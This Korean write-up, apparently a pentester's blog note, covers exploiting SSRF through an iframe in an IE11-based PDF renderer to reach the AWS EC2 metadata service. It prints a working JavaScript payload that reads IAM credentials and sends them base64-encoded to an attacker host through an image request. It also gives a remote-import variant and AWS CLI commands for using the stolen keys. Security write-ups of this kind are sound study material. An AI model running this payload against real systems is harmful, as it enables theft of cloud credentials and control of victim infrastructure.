SSRF

피해자 환경은 공격자 서버로 요청할 수 있게끔 iframe의 src attribute에 삽입해서 userAgent를 확인했을때 IE11+Windows로 파악했다.

 

더 확실하게 확인하기 위해서 iframe의 src에 http://localhost와 file:///C:\\ 했을때 결과를 봤다. iframe에서 에러난 화면이 ie11로 보였다. ie11 익스를 하려고 했는데 장애가 있을까봐 시도해보진 못했다.

 

우선 file 스키마나 cors는 브라우저가 이미 애초에 로컬 리소스를 띄워줬기 때문에 접근이 가능했지 않았을까 하는 생각이든다. 아니면 애초에 레거시 브라우저라서 가능했을 수도 있다.

 

아무튼 ec2 metadata 엔드포인트에 요청했고 다행히 credentials을 받아낼 수 있었다. 하지만 변수가 있었는데 iframe src에 metadata url을 삽입한 후 결과를 보면 sessionToken이 너무 길어서 pdf에선 짤리기 때문에 외부 요청이 필요했다.

var xhr = new XMLHttpRequest();
xhr.open("GET", "http://169.254.169.254/latest/meta-data/iam/security-credentials/{IAM_ROLE_NAME}", true);
xhr.onreadystatechange = function () {
  if (xhr.readyState === 4) {
    var img = new Image();
    img.src = "http://{ATTACKER_IP}/?enc=" + btoa(xhr.responseText);
    document.body.appendChild(img);
  }
};
xhr.send();

 

그래서 만든 요것. 이렇게해서 img get 방식으로 cors를 우회할 수 있다.

 

입력 문자의 제한이 있고 CSP가 없다면 공격자 서버에 해당 js를 올려놓고 await import('http://ATTACKER\_URL/something.js'); 하는 식으로 사용해도 된다.

 

이렇게 탈취한 3가지 키인 aws_access_key_id, aws_secret_access_key, aws_session_token을 가지고 aws s3 ls나 aws ec2 describe-instances를 통해 버킷이나 인스턴스를 확인할 수 있다.

 

IAM role이 피해자 인스턴스에 과도하게 잡혀있다면 start-instances나 stop-instances 등이 가능하다.